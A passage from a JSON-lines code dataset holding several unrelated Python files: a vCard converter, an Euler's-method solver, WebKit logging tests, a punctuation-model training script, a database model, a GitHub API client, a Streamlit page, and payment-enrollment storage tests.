';'})\n\n # ANNIVERSARY変換の前に誕生日をがあれば退避\n birthday = ''\n if 'BDAY' in person:\n items = person['BDAY']\n item = items[0]\n birthday = item['value']\n \n # ANNYVERSARY のうち 誕生日は除外\n if 'ANNIVERSARY' in person:\n items = person['ANNIVERSARY']\n for item in items:\n if birthday != '':\n if 'BIRTHDAY' in item['subtags'] or len(item['subtags']) == 0:\n # subtagsのいずれかが 'BIRTHDAY' または subtagsが空っぽ\n birthday_of_anniv = re.sub('-', '', item['value'])\n if birthday_of_anniv == birthday:\n # _ANNIVERSARY が BDAYと一致するのでこのアイテムを削除\n person['ANNIVERSARY'].remove(item)\n\n # NOTE はまとめたもので差し替え\n if 'NOTE' in person:\n note = ''\n items = person['NOTE']\n for item in items:\n if note == '':\n note += item['value']\n else:\n # NOTEが複数ある場合、まとめる\n note += '\\\\n' + item['value']\n\n person['NOTE'] = [{'subtags':[], 'value':note}]\n\n # CATEGORIES はまとめたもので差し替え\n if 'CATEGORIES' in person:\n categories = ''\n items = person['CATEGORIES']\n for item in items:\n if categories == '':\n categories += item['value']\n else:\n # CATEGORIESが複数ある場合、まとめる\n categories += ',' + item['value']\n\n person['CATEGORIES'] = [{'subtags':[], 'value':categories}]\n\n # 変換済みのマーク\n person['_CONVERTED'] = [{'subtags':[], 'value':''}]\n\n return\n\n# アイテムを出力\ndef put_item(f, tag, item):\n '''\n アイテムを出力\n\n 指定タグと対応するサブタグ、値を整形して出力\n\n Args:\n f : 出力ファイルオブジェクト\n tag : タグ\n item : アイテム(タグをキーにした一人分のアドレス情報)\n\n Returns:\n -\n '''\n\n str = ''\n\n # tag\n str += tag\n\n # subtags\n if 'subtags' in item:\n for subtag in item['subtags']:\n if subtag != '':\n str += ';' + subtag\n\n # value\n if 'value' in item:\n value = item['value']\n else:\n value =''\n str += ':' + value\n\n# print(str)\n f.write(str + '\\n')\n\n return\n\n# main\nif __name__ == \"__main__\":\n rc = 0\n\n try:\n # 引数を解析して、入力ファイル名を取得\n rc, file_name, han2han, encode, divfile = ana_arg(*sys.argv)\n if rc < 0:\n sys.exit(rc)\n\n # 変換\n convVCF(file_name, han2han, encode, divfile)\n\n except Exception as e:\n print(e, file=sys.stderr)\n rc = -1\n\n sys.exit(rc)\n","repo_name":"picomikan/rakuraku-vcf","sub_path":"02_convert/rakuraku_vcf_conv.py","file_name":"rakuraku_vcf_conv.py","file_ext":"py","file_size_in_byte":20253,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"498202184","text":"import numpy as np\nimport csv\nfrom math import sin, pi, exp\n\n# Define the derivative function for the problem\ndef derivativeFunction(t, y):\n return t**2 * y + sin(2*pi*t)\n\n# Define the different step sizes to be used in Euler's method\nh_values = [0.1, 0.01, 0.001, .0001]\n\n# Define initial conditions, ranges and derivative functions for each problem\nproblem_name = 'example' # Name of the problem, for saving purposes\nproblem = {\"y0\": 1, \"t0\": 0, \"tf\": 2, \"dydt\": derivativeFunction} # Problem parameters\n\n\n# --------------------------------------------\n\n\n# Define Euler's method for numerical integration\ndef euler_method(dydt, y0, t0, tf, h):\n results = [] # Initialize the output string\n y = y0 # Initialize y with the initial condition\n t = t0 # Initialize t with the start time\n while t <= tf: # Loop until end time is reached\n y = y + h * dydt(t, y) # Update y using Euler's method\n results.append({\"t\": format(t, '.10f'), \"y\": format(y, '.10f')}) # Store the current time and y value, to 10 decimal places for both.\n t += h # Increment the time by the step size h\n return results # Return the results list\n\n# Solve the problemS using Euler's method\nfor h in h_values: # Loop over the different step size\n # Print the results for each problem and step size\n results = euler_method(**problem, h=h)\n # Write the results to a CSV file\n with open(f'problem_{problem_name}_h_{h}.csv', 'w', newline='') as f:\n writer = csv.DictWriter(f, fieldnames=[\"t\", \"y\"])\n writer.writeheader()\n writer.writerows(results)\n","repo_name":"krgainer/Eulers-Method-Python","sub_path":"Eulers.py","file_name":"Eulers.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11346563136","text":"import logging\nimport re\nimport sys\nimport unittest\n\nfrom webkitcorepy import StringIO\n\nfrom webkitpy.layout_tests.views.metered_stream import MeteredStream\n\n\nclass RegularTest(unittest.TestCase):\n verbose = False\n isatty = False\n print_timestamps = None\n\n def setUp(self):\n self.stream = StringIO()\n self.stream.isatty = lambda: self.isatty\n\n # configure a logger to test that log calls do normally get included.\n self.logger = logging.getLogger(__name__)\n self.logger.setLevel(logging.DEBUG)\n self.logger.propagate = False\n\n # add a dummy time counter for a default behavior.\n self.times = list(range(10))\n\n self.meter = MeteredStream(self.stream, self.verbose, self.logger, self.time_fn, 8675, print_timestamps=self.print_timestamps)\n\n def tearDown(self):\n if self.meter:\n self.meter.cleanup()\n self.meter = None\n\n def time_fn(self):\n return self.times.pop(0)\n\n def test_logging_not_included(self):\n # This tests that if we don't hand a logger to the MeteredStream,\n # nothing is logged.\n logging_stream = StringIO()\n handler = logging.StreamHandler(logging_stream)\n root_logger = logging.getLogger()\n orig_level = root_logger.level\n root_logger.addHandler(handler)\n root_logger.setLevel(logging.DEBUG)\n try:\n self.meter = MeteredStream(self.stream, self.verbose, None, self.time_fn, 8675, print_timestamps=self.print_timestamps)\n self.meter.write_throttled_update('foo')\n self.meter.write_update('bar')\n self.meter.write('baz')\n self.assertEqual(logging_stream.getvalue(), '')\n finally:\n root_logger.removeHandler(handler)\n root_logger.setLevel(orig_level)\n\n def _basic(self, times):\n self.times = times\n self.meter.write_update('foo')\n self.meter.write_update('bar')\n self.meter.write_throttled_update('baz')\n self.meter.write_throttled_update('baz 2')\n self.meter.writeln('done')\n self.assertEqual(self.times, [])\n return self.stream.getvalue()\n\n def test_basic(self):\n self.assertEqual(self._basic([0, 1, 2, 13, 14]), 'foo\\nbar\\nbaz 2\\ndone\\n')\n\n def _log_after_update(self):\n self.meter.write_update('foo')\n self.logger.info('bar')\n return self.stream.getvalue()\n\n def test_log_after_update(self):\n self.assertEqual(self._log_after_update(), 'foo\\nbar\\n')\n\n def test_log_args(self):\n self.logger.info('foo %s %d', 'bar', 2)\n self.assertEqual(self.stream.getvalue(), 'foo bar 2\\n')\n\n def test_unicode(self):\n self.logger.info('‘example’')\n self.assertEqual(self.stream.getvalue()[-len('‘example’\\n'):], '‘example’\\n')\n\n self.logger.info(u'\\u2713')\n if sys.version_info > (3, 0):\n self.assertEqual(self.stream.getvalue()[-2:], u'\\u2713\\n')\n else:\n self.assertEqual(self.stream.buflist[-1][-2:], u'\\u2713\\n')\n\n def test_stream_with_encoding(self):\n class AsciiStream(StringIO):\n def write(self, s):\n return StringIO.write(self, '{}'.format(s))\n\n stream = AsciiStream()\n\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n logger.propagate = False\n\n try:\n meter = MeteredStream(stream, self.verbose, logger, self.time_fn, 8675, print_timestamps=self.print_timestamps)\n self.logger.info(u'\\u2713')\n if sys.version_info > (3, 0):\n self.assertEqual(stream.getvalue()[-2:], '✓\\n')\n else:\n self.assertEqual(stream.getvalue()[-2:], '?\\n')\n finally:\n meter.cleanup()\n\n\nclass TtyTest(RegularTest):\n verbose = False\n isatty = True\n\n def test_basic(self):\n self.assertEqual(\n self._basic([0, 1, 1.05, 1.1, 2]),\n ''.join([\n 'foo',\n MeteredStream._erasure('foo'), 'bar',\n MeteredStream._erasure('bar'), 'baz 2',\n MeteredStream._erasure('baz 2'), 'done\\n',\n ]),\n )\n\n def test_log_after_update(self):\n self.assertEqual(\n self._log_after_update(),\n 'foo' + MeteredStream._erasure('foo') + 'bar\\n',\n )\n\n\nclass VerboseTest(RegularTest):\n isatty = False\n verbose = True\n\n def test_basic(self):\n lines = self._basic([0, 1, 2.1, 13, 14.1234]).splitlines()\n # We don't bother to match the hours and minutes of the timestamp since\n # the local timezone can vary and we can't set that portably and easily.\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:00.000 8675 foo', lines[0]))\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:01.000 8675 bar', lines[1]))\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:13.000 8675 baz 2', lines[2]))\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:14.123 8675 done', lines[3]))\n self.assertEqual(len(lines), 4)\n\n def test_log_after_update(self):\n lines = self._log_after_update().splitlines()\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:00.000 8675 foo', lines[0]))\n\n # The second argument should have a real timestamp and pid, so we just check the format.\n self.assertTrue(re.match(r'\\d\\d:\\d\\d:\\d\\d.\\d\\d\\d \\d+ bar', lines[1]))\n\n self.assertEqual(len(lines), 2)\n\n def test_log_args(self):\n self.logger.info('foo %s %d', 'bar', 2)\n self.assertEqual(len(self.stream.getvalue().splitlines()), 1)\n self.assertTrue(self.stream.getvalue().endswith('foo bar 2\\n'))\n\n\nclass VerboseWithOutTimestamp(RegularTest):\n isatty = True\n verbose = True\n print_timestamps = False\n\n def test_basic(self):\n lines = self._basic([0, 1, 2.1, 13, 14.1234]).splitlines()\n self.assertTrue(re.match('foo', lines[0]))\n self.assertTrue(re.match('bar', lines[1]))\n self.assertTrue(re.match('baz 2', lines[2]))\n self.assertTrue(re.match('done', lines[3]))\n self.assertEqual(len(lines), 4)\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/webkitpy/layout_tests/views/metered_stream_unittest.py","file_name":"metered_stream_unittest.py","file_ext":"py","file_size_in_byte":6110,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"} +{"seq_id":"17874665972","text":"#!/usr/bin/env python\n\n# Created on 2019/02\n# Author: Kaituo XU (NPU-ASLP)\n\nimport argparse\n\nimport torch\n\nfrom dataset import build_data_loader\nfrom model import LstmPunctuator\nfrom solver import Solver\nfrom utils import IGNORE_ID, num_param\n\n\nparser = argparse.ArgumentParser(\"X-Punctuator training\")\n# Data related\nparser.add_argument('--train_data', type=str, required=True, help='Training text data path.')\nparser.add_argument('--valid_data', type=str, required=True, help='Cross validation text data path.')\nparser.add_argument('--vocab', type=str, required=True, help='Input vocab. (Don\\'t include and )')\nparser.add_argument('--punc_vocab', type=str, required=True, help='Output punctuations vocab. (Don\\'t include \" \")')\n# Model hyper parameters\nparser.add_argument('--num_embeddings', default=100000+2, type=int, help='Input vocab size. (Include and )')\nparser.add_argument('--embedding_dim', default=256, type=int, help='Input embedding dim.')\nparser.add_argument('--hidden_size', default=512, type=int, help='LSTM hidden size of each direction.')\nparser.add_argument('--num_layers', default=2, type=int, help='Number of LSTM layers')\nparser.add_argument('--bidirectional', default=1, type=int, help='Whether use bidirectional LSTM')\nparser.add_argument('--num_class', default=5, type=int, help='Number of output classes. (Include blank space \" \")')\n# minibatch\nparser.add_argument('--batch_size', default=128, type=int)\nparser.add_argument('--num_workers', default=1, type=int, help='Number of workers to generate minibatch')\n# optimizer\nparser.add_argument('--lr', default=1e-3, type=float, help='Init learning rate')\nparser.add_argument('--l2', default=0.0, type=float, help='weight decay (L2 penalty)')\n# Training config\nparser.add_argument('--use_cuda', default=1, type=int)\nparser.add_argument('--epochs', default=30, type=int)\nparser.add_argument('--half_lr', default=0, type=int, help='Halving learning rate when get small improvement')\nparser.add_argument('--early_stop', default=0, type=int, help='Early stop training when halving lr but still get small improvement')\nparser.add_argument('--max_norm', default=5, type=float, help='Gradient norm threshold to clip')\n# save and load model\nparser.add_argument('--save_folder', default='exp/temp', help='Dir to save models')\nparser.add_argument('--checkpoint', default=0, type=int, help='Enables checkpoint saving of model')\nparser.add_argument('--continue_from', default='', help='Continue from checkpoint model')\nparser.add_argument('--model_path', default='final.pth.tar', help='model name')\n# logging\nparser.add_argument('--print_freq', default=10, type=int, help='Frequency of printing training infomation')\n# visualizing loss using visdom\nparser.add_argument('--visdom', type=int, default=0, help='Turn on visdom graphing')\nparser.add_argument('--visdom_epoch', type=int, default=0, help='Turn on visdom graphing each epoch')\nparser.add_argument('--visdom_id', default='X-Punctuator training', help='Identifier for visdom run')\n\n\ndef main(args):\n # Build data loader\n tr_loader = build_data_loader(args.train_data, args.vocab, args.punc_vocab,\n batch_size=args.batch_size, drop_last=False,\n num_workers=args.num_workers)\n cv_loader = build_data_loader(args.valid_data, args.vocab, args.punc_vocab,\n batch_size=args.batch_size, drop_last=False)\n data = {'tr_loader': tr_loader, 'cv_loader': cv_loader}\n # Build model\n model = LstmPunctuator(args.num_embeddings, args.embedding_dim,\n args.hidden_size, args.num_layers, args.bidirectional,\n args.num_class)\n print(model)\n print(\"Number of parameters: %d\" % num_param(model))\n if args.use_cuda:\n model = torch.nn.DataParallel(model)\n model.cuda()\n # Build criterion\n criterion = torch.nn.CrossEntropyLoss(ignore_index=IGNORE_ID)\n # Build optimizer\n optimizier = torch.optim.Adam(model.parameters(), lr=args.lr,\n weight_decay=args.l2)\n # Build Solver\n solver = Solver(data, model, criterion, optimizier, args)\n solver.train()\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n print(args)\n main(args)\n","repo_name":"kaituoxu/X-Punctuator","sub_path":"src/bin/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"3"} +{"seq_id":"12656695522","text":"from com_dayoung_api.ext.db import db\nfrom com_dayoung_api.actor.service import ActorService\nfrom sqlalchemy.orm import Session, sessionmaker\nfrom sqlalchemy import create_engine\n\nclass ActorDto(db.Model):\n __tablename__ = 'actors'\n __table_args__={'mysql_collate':'utf8_general_ci'}\n # columns=['photoUrl', 'age','name','realName','religion','agency', 'spouse', 'children','debutYear','actorid']\n actorid: str = db.Column(db.String(30), primary_key = True, index = True)\n photoUrl: str = db.Column(db.String(200))\n name: str = db.Column(db.String(30))\n age: str = db.Column(db.String(30))\n realName: str = db.Column(db.String(30))\n religion: str = db.Column(db.String(30))\n agency: str = db.Column(db.String(30))\n spouse: str = db.Column(db.String(30))\n children: str = db.Column(db.String(30))\n debutYear: int = db.Column(db.Integer)\n\n def __init__(self, photoUrl, actorid, name, age, realName, spouse, children, debutYear, agency, religion):\n self.photoUrl = photoUrl\n self.actorid = actorid\n self.name = name\n self.age = age\n self.realName = realName\n self.religion = religion\n self.agency = agency\n self.spouse = spouse\n self.children = children\n self.debutYear = debutYear\n\n # def __repr__(self):\n # return f'Actors(id={self.id}, user={self.userid}, \\\n # password={self.password}, name={self.name})'\n\n \n @property\n def json(self):\n return {\n 'photoUrl' : self.photoUrl,\n 'actorid' : self.actorid,\n 'name' : self.name,\n 'age' : self.age,\n 'realName' : self.realName,\n 'spouse' : self.spouse,\n 'children' : self.children,\n 'debutYear' : self.debutYear,\n 'religion' : self.religion,\n 'agency' : self.agency\n }\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit\n\nconfig = {\n 'user' : 'root',\n 'password' : 'root',\n 'host': '127.0.0.1',\n 'port' : '3306',\n 'database' : 'dayoungdb'\n}\n # columns=['photoUrl', 'age','name','realName','religion','agency', 'spouse', 'children','debutYear','actorid']\nclass ActorVo:\n actorid: str = ''\n photoUrl: str = ''\n age: str = ''\n name: str = ''\n realName: str = ''\n religion: str = ''\n agency: str = ''\n spouse: str = ''\n children: str = ''\n debutYear: int = 0\n# charset = {'utf8':'utf8'}\n# url = f\"mysql+mysqlconnector://{config['user']}:{config['password']}@{config['host']}:{config['port']}/{config['database']}?charset=utf8\"\n# engine = create_engine(url)\n# service = ActorPro()\n# Session = sessionmaker(bind=engine)\n# s = Session()\n# df = service.hook()\n# print(df.head())\n# s.bulk_insert_mappings(ActorDto, df.to_dict(orient=\"records\"))\n# s.commit()\n# s.close()","repo_name":"seunghany/dayoung-api","sub_path":"com_dayoung_api/actor_dont_use_this/dto.py","file_name":"dto.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13215346491","text":"import requests\nfrom requests import HTTPError, ConnectionError\nimport json\nfrom typing import Optional\n\ndef http_error(error: str) -> dict:\n return {\n \"Message\": f\"A http_error(error: {error}) ocurred, try again.\"\n }\n\ndef connection_error(error: Optional[str] = None) -> dict:\n return {\n \"Message\": f\"A connection_error(error: {error}) ocurred, try again.\"\n }\n\ndef default_error() -> dict:\n return {\n \"Message\": \"An error ocurred, try again.\"\n }\n\ndef dynamic_error(error: str) -> dict:\n return {\n \"Message\": \"An error ocurred, try again.\",\n \"Error\": error\n }\n\ndef get_all_info(username: str, filter: Optional[str] = None) -> dict:\n if filter:\n activate_filter = True\n else:\n activate_filter = None\n\n if username == '':\n return dynamic_error('No username specified')\n \n try:\n url = f'https://api.github.com/users/{username}'\n github_api = requests.get(url)\n repos_link = requests.get(f'https://api.github.com/users/{username}/repos')\n repos_response = json.loads(repos_link.text)\n response = json.loads(github_api.text)\n\n if 'message' in response:\n if response['message'].startswith('API rate limit'): \n return 'Wait one hour the limit is 60 request for hour'\n return dynamic_error('User not found, try again.')\n \n if activate_filter:\n return {\n filter: response[filter]\n }\n\n bio = response['bio'].replace('\\r\\n', '')\n name = response['name']\n user = response['login']\n followers = response['followers']\n following = response['following']\n site = response['blog']\n \n email = response['email']\n if email == None:\n email = \"Don't have a public email\"\n \n hireable = response['hireable']\n if hireable == None:\n hireable = 'Not hireable'\n \n twitter_username = response['twitter_username']\n location = response['location']\n company = response['company']\n profile_picture = response['avatar_url']\n repos = response['public_repos']\n newest_repo = repos_response[0]['full_name']\n profile_link = f'https://github.com/{user}'\n api_response = {\n 'bio': bio, \n 'name': name, \n 'username': user,\n 'followers': followers, \n 'following': following, \n 'website': site, \n 'twitter': twitter_username, \n 'location': location, \n 'company': company, \n 'picture': profile_picture, \n 'repos': repos,\n 'newest_repo': newest_repo,\n 'link': profile_link\n }\n\n return api_response\n except HTTPError as e:\n return http_error(e)\n except ConnectionError as e:\n return connection_error(e)\n except Exception as e:\n return dynamic_error(e)\n except:\n return default_error()\n\ndef get_repo(repo: str, username :str) -> dict:\n if username == '':\n return dynamic_error('No username specified')\n \n try:\n url = f'https://api.github.com/users/{username}/repos'\n repos_link = requests.get(url)\n repos_response = json.loads(repos_link.text)\n repos = {\n 'repo': []\n }\n\n if 'message' in repos_response:\n if repos_response['message'].startswith('API rate limit'): \n return dynamic_error('Wait one hour the limit is 60 request for hour')\n return dynamic_error('User not found, try again.')\n \n for repo_s in repos_response:\n if repo_s['name'] == repo:\n owner = repo_s['owner']['login']\n if 'license' in repo_s:\n license = repo_s['license']\n else:\n license = None\n \n if 'language' in repo_s:\n language = repo_s['language']\n \n name = repo_s['name']\n full_name = repo_s['full_name']\n is_a_fork = repo_s['fork']\n has_issues = repo_s['has_issues']\n has_projects = repo_s['has_projects']\n has_wiki = repo_s['has_wiki']\n number_of_forks = repo_s['forks_count']\n default_branch = repo_s['default_branch']\n description = repo_s['description']\n repo_url = repo_s['url']\n stars = repo_s['stargazers_count']\n open_issues = repo_s['open_issues_count']\n repo_response = {\n 'name': name,\n 'full_name': full_name,\n 'description': description,\n 'owner': owner,\n 'license': license,\n 'language': language,\n 'repo_url': repo_url,\n 'stars': stars,\n 'number_of_forks': number_of_forks,\n 'is_a_fork': is_a_fork,\n 'default_branch': default_branch,\n 'has_issues': has_issues,\n 'number_of_open_issues': open_issues,\n 'has_wiki': has_wiki,\n 'has_projects': has_projects,\n\n }\n\n repos['repo'].append(repo_response)\n \n return repos\n except HTTPError as e:\n return http_error(e)\n except ConnectionError as e:\n return connection_error(e)\n except Exception as e:\n return dynamic_error(e)\n except:\n return default_error()\n\ndef get_all_repos(username: str) -> dict:\n if username == '':\n return dynamic_error('No username specified')\n \n try:\n url = f'https://api.github.com/users/{username}/repos'\n repos_link = requests.get(url)\n repos_response = json.loads(repos_link.text)\n repos = {\n 'repos': []\n }\n\n if 'message' in repos_response:\n if repos_response['message'].startswith('API rate limit'): \n return dynamic_error('Wait one hour the limit is 60 request for hour')\n return dynamic_error('User not found, try again.')\n \n for repo in repos_response:\n owner = repo['owner']['login']\n if 'license' in repo:\n license = repo['license']\n else:\n license = None\n \n if 'language' in repo:\n language = repo['language']\n \n name = repo['name']\n full_name = repo['full_name']\n is_a_fork = repo['fork']\n has_issues = repo['has_issues']\n has_projects = repo['has_projects']\n has_wiki = repo['has_wiki']\n number_of_forks = repo['forks_count']\n default_branch = repo['default_branch']\n description = repo['description']\n repo_url = repo['url']\n stars = repo['stargazers_count']\n open_issues = repo['open_issues_count']\n repo_response = {\n 'name': name,\n 'full_name': full_name,\n 'description': description,\n 'owner': owner,\n 'license': license,\n 'language': language,\n 'repo_url': repo_url,\n 'stars': stars,\n 'number_of_forks': number_of_forks,\n 'is_a_fork': is_a_fork,\n 'default_branch': default_branch,\n 'has_issues': has_issues,\n 'number_of_open_issues': open_issues,\n 'has_wiki': has_wiki,\n 'has_projects': has_projects,\n\n }\n\n repos['repos'].append(repo_response)\n \n return repos\n except HTTPError as e:\n return http_error(e)\n except ConnectionError as e:\n return connection_error(e)\n except UnicodeEncodeError as e:\n return dynamic_error(f'unicode_error({e}), language not supported')\n except Exception as e:\n return dynamic_error(e)\n except:\n return default_error()\n\nif __name__ == '__main__':\n '''\n print(get_all_repos('lind0-oss'))\n print('\\n\\n\\n\\n')\n print(get_all_info('lind0-oss'))\n print(get_all_repos('AIBUSHISHOU'))\n print(get_repo('Los-had', 'Los-had'))\n '''\n print(get_repo('whatsapp-automation', 'Los-had'))","repo_name":"Los-had/github-extended-api","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37374180159","text":"import streamlit as st\nfrom . data import (\n create_ticker_picker,\n label,\n get_pricing_data,\n)\n\n\ndef approx_zero():\n st.title(\"Daily Returns Approximately Zero\")\n st.markdown(\"\"\"\n The daily mean return is very close to zero for most stocks.\n \"\"\")\n\n st.sidebar.subheader(\"Ticker\")\n ticker = create_ticker_picker()\n\n returns = get_pricing_data(ticker)[\"Returns\"]\n\n st.subheader(label(ticker))\n st.table(returns.describe())\n","repo_name":"simongarisch/streamlit_asset_returns","sub_path":"streamlit_asset_returns/pages/approx_zero.py","file_name":"approx_zero.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29061265007","text":"import uuid\nfrom datetime import datetime, timezone\n\nimport pytest\nfrom psycopg2.errors import UniqueViolation\n\nfrom sendr_utils import alist, utcnow\n\nfrom hamcrest import assert_that, contains_inanyorder, equal_to, has_length, has_property, none\n\nfrom billing.yandex_pay.yandex_pay.core.entities.card import Card\nfrom billing.yandex_pay.yandex_pay.core.entities.enrollment import Enrollment\nfrom billing.yandex_pay.yandex_pay.core.entities.enums import TSPTokenStatus, TSPType\nfrom billing.yandex_pay.yandex_pay.core.entities.merchant import Merchant\n\n\n@pytest.fixture\nasync def card(storage, card_entity):\n return await storage.card.create(card_entity)\n\n\n@pytest.fixture\nasync def card2(storage):\n card_entity = Card(\n trust_card_id=str(uuid.uuid4()),\n owner_uid=5555,\n tsp=TSPType.VISA,\n expire=datetime(2000, 1, 1, 0, 0, 0, tzinfo=timezone.utc),\n last4='1234',\n )\n return await storage.card.create(card_entity)\n\n\n@pytest.fixture\nasync def merchant(storage, merchant_entity):\n return await storage.merchant.create(merchant_entity)\n\n\n@pytest.mark.asyncio\nasync def test_create(storage, enrollment_entity, card, merchant):\n created = await storage.enrollment.create(enrollment_entity)\n enrollment_entity.created = created.created\n enrollment_entity.updated = created.updated\n enrollment_entity.enrollment_id = created.enrollment_id\n\n assert_that(created, equal_to(enrollment_entity))\n assert_that(created, has_property('expire', none()))\n\n\n@pytest.mark.asyncio\nasync def test_get(storage, enrollment_entity):\n created = await storage.enrollment.create(enrollment_entity)\n assert_that(\n await storage.enrollment.get(enrollment_entity.enrollment_id),\n equal_to(created),\n )\n\n\n@pytest.mark.asyncio\nasync def test_get_not_found(storage):\n with pytest.raises(Enrollment.DoesNotExist):\n await storage.enrollment.get(uuid.uuid4())\n\n\n@pytest.mark.asyncio\nasync def test_save(storage, enrollment_entity):\n created = await storage.enrollment.create(enrollment_entity)\n created.tsp_card_id = 'other-tsp-card-id'\n\n saved = await storage.enrollment.save(created)\n created.updated = saved.updated\n assert_that(\n saved,\n equal_to(created),\n )\n\n\n@pytest.mark.asyncio\nasync def test_can_not_create_two_or_more_enrollments_for_single_card(storage, enrollment_entity):\n await storage.enrollment.create(enrollment_entity)\n enrollment_entity.enrollment_id = None\n\n with pytest.raises(UniqueViolation):\n await storage.enrollment.create(enrollment_entity)\n\n\n@pytest.mark.asyncio\nasync def test_can_create_with_expiration_set(storage, enrollment_entity):\n time_now = utcnow()\n enrollment_entity.expire = time_now\n created = await storage.enrollment.create(enrollment_entity)\n enrollment_entity.created = created.created\n enrollment_entity.updated = created.updated\n enrollment_entity.enrollment_id = created.enrollment_id\n\n assert_that(created, equal_to(enrollment_entity))\n\n\n@pytest.mark.asyncio\nasync def test_can_get_enrollment_by_card_id_and_merchant_id(storage, enrollment_entity):\n await storage.enrollment.create(enrollment_entity)\n\n enrollment_by_card_id = await storage.enrollment.get_by_card_id_and_merchant_id(\n card_id=enrollment_entity.card_id,\n merchant_id=enrollment_entity.merchant_id,\n )\n\n assert_that(enrollment_by_card_id.enrollment_id, equal_to(enrollment_entity.enrollment_id))\n\n\n@pytest.mark.asyncio\nasync def test_can_get_by_tsp_token_id(storage, enrollment_entity):\n card = await storage.card.get(enrollment_entity.card_id)\n await storage.enrollment.create(enrollment_entity)\n enrollment = await storage.enrollment.get_by_tsp_token_id(\n tsp=card.tsp,\n tsp_token_id=enrollment_entity.tsp_token_id\n )\n assert_that(enrollment.enrollment_id, equal_to(enrollment_entity.enrollment_id))\n\n\n@pytest.mark.asyncio\nasync def test_can_not_get_by_tsp_token_id_with_wrong_tsp(storage, enrollment_entity):\n card = await storage.card.get(enrollment_entity.card_id)\n tsp = TSPType.VISA\n if card.tsp == TSPType.VISA:\n tsp = TSPType.MASTERCARD\n\n await storage.enrollment.create(enrollment_entity)\n\n with pytest.raises(Enrollment.DoesNotExist):\n await storage.enrollment.get_by_tsp_token_id(\n tsp=tsp,\n tsp_token_id=enrollment_entity.tsp_token_id\n )\n\n\n@pytest.mark.asyncio\nasync def test_can_get_by_tsp_card_id(storage, enrollment_entity):\n card = await storage.card.get(enrollment_entity.card_id)\n await storage.enrollment.create(enrollment_entity)\n enrollments = await storage.enrollment.get_by_tsp_card_id(\n tsp=card.tsp,\n tsp_card_id=enrollment_entity.tsp_card_id\n )\n assert_that(len(enrollments), equal_to(1))\n assert_that(enrollments[0].enrollment_id, equal_to(enrollment_entity.enrollment_id))\n\n\n@pytest.mark.asyncio\nasync def test_can_not_get_by_tsp_card_id(storage, enrollment_entity):\n card = await storage.card.get(enrollment_entity.card_id)\n await storage.enrollment.create(enrollment_entity)\n with pytest.raises(Enrollment.DoesNotExist):\n await storage.enrollment.get_by_tsp_card_id(\n tsp=card.tsp,\n tsp_card_id='doesnotexist'\n )\n\n\n@pytest.mark.asyncio\nasync def test_can_get_few_enrollments_by_tsp_card_id(storage, card, card2):\n tsp_card_id = str(uuid.uuid4())\n\n e1 = await storage.enrollment.create(\n Enrollment(\n card_id=card.card_id,\n merchant_id=None,\n tsp_card_id=tsp_card_id,\n tsp_token_id=str(uuid.uuid4()),\n tsp_token_status=TSPTokenStatus.ACTIVE,\n card_last4=card.last4,\n )\n )\n\n e2 = await storage.enrollment.create(\n Enrollment(\n card_id=card2.card_id,\n merchant_id=None,\n tsp_card_id=tsp_card_id,\n tsp_token_id=str(uuid.uuid4()),\n tsp_token_status=TSPTokenStatus.ACTIVE,\n card_last4=card2.last4,\n )\n )\n\n enrollments = await storage.enrollment.get_by_tsp_card_id(\n tsp=card.tsp,\n tsp_card_id=tsp_card_id\n )\n\n assert_that(enrollments, has_length(2))\n assert_that(\n enrollments,\n contains_inanyorder(\n has_property('enrollment_id', e1.enrollment_id),\n has_property('enrollment_id', e2.enrollment_id),\n ),\n )\n\n\n@pytest.mark.asyncio\nasync def test_should_raise_exception_on_get_by_card_id_and_merchant_id_if_not_exist(storage):\n with pytest.raises(Enrollment.DoesNotExist):\n await storage.enrollment.get_by_card_id_and_merchant_id(card_id=uuid.uuid4(), merchant_id=uuid.uuid4())\n\n\nclass TestFindByOwnerUidForDefaultMerchant:\n @pytest.mark.asyncio\n async def test_fetches_enrollment_with_default_merchant(self, storage, card: Card):\n enrollment_for_default_merchant = await storage.enrollment.create(Enrollment(\n card_id=card.card_id,\n merchant_id=None,\n tsp_card_id='tsp-card-id',\n tsp_token_id='tsp-token-id',\n tsp_token_status=TSPTokenStatus.ACTIVE,\n card_last4=card.last4,\n ))\n\n filtered = await alist(storage.enrollment.find_common_by_owner_uid(\n owner_uid=card.owner_uid),\n )\n\n assert_that(filtered, has_length(1))\n\n fetched_enrollment = filtered[0]\n assert_that(\n fetched_enrollment,\n equal_to(enrollment_for_default_merchant)\n )\n\n @pytest.mark.asyncio\n async def test_not_fetches_enrollment_with_non_default_merchant(self, storage, card: Card, merchant: Merchant):\n await storage.enrollment.create(Enrollment(\n card_id=card.card_id,\n merchant_id=merchant.merchant_id,\n tsp_card_id='tsp-card-id',\n tsp_token_id='tsp-token-id',\n tsp_token_status=TSPTokenStatus.ACTIVE,\n card_last4=card.last4,\n ))\n\n filtered = await alist(storage.enrollment.find_common_by_owner_uid(\n owner_uid=card.owner_uid),\n )\n\n assert_that(filtered, 